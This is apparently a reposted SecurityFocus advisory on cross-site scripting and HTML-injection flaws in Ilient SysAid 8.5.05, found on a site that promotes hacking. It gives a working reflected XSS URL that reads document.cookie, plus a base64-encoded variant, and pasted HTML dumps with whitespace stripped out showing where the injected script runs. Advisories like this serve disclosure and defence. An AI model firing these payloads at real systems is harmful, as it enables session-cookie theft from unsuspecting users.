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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
source: https://www.securityfocus.com/bid/52356/info

Ilient SysAid is prone to multiple cross-site scripting and HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker could leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.

Ilient SysAid 8.5.05 is vulnerable; other versions may also be affected. 

HTML injection:
<tablewidth="100%"cellspacing="5"cellpadding="5"border="0"class="Maxed">
<tbody><trvalign="top"><tdwidth="50%"style="padding:10px;"id="Container_1"><tableclass="MaxedContainerContainer_1">
<tbody><tr>
<tdclass="Container_Header">
<table>
<tbody><tr>
<tdclass="Container_Header_First">
<tdclass="Container_Header_Center">
Administratorsonline
</td><tdclass="Container_Header_Last">
</td>

</tr>
</tbody></table></td>
</tr>
<tr>
<tdclass="Container_Body">
<divclass="BorderFix_FFForm_Ctrl_Label">
<br/>
1Users<br/>
JulienAhrens<EXCUTES PERSISTENT SCRIPt CODE HERE!></div></td></tr></tbody></table></td></tr></tbody>
</table></div></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></body></html>



Cross-site scripting:

http://www.example.com:8080/sysaid/CustomizeListView.jsp?listName=Assets&listViewName=<script>alert(document.cookie)</script>

or base64 encoded:
http://www.example.com:8080/sysaid/CustomizeListView.jsp?listName=Service%20Requests&srType=1&listViewName= () 
BASE64@PHNjcmlwdD5hb
GVydChlc2NhcGUoZG9jdW1lbnQuY29va2llKSk8L3NjcmlwdD4=



Non-persistent(listViewName):

<tdcolspan="6"class="Frame_Body_Center">
<tablewidth="100%"border="0"class="Maxed">

<tbody><trvalign="top">
<tdstyle="padding:10px;"id="Conainer_1">
<tablewidth=""cellspacing="0"cellpadding="0"border="0">
<tbody><tr>
<td>
<tablewidth="100%"cellspacing="0"cellpadding="0"border="0"class="MaxedContainerContainer_1">

<tbody><tr>
<tdclass="Container_Header">

<table>
<tbody><tr>
<tdclass="Container_Header_First"/>
<tdclass="Container_Header_Center">
<palign="center"style="font-size:16px;">Customizelist-Assets-<EXCUTES PERSISTENT SCRIPt CODE HERE> 

</p></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr>
</tbody></table></td></tr></tbody></table></form></body></html>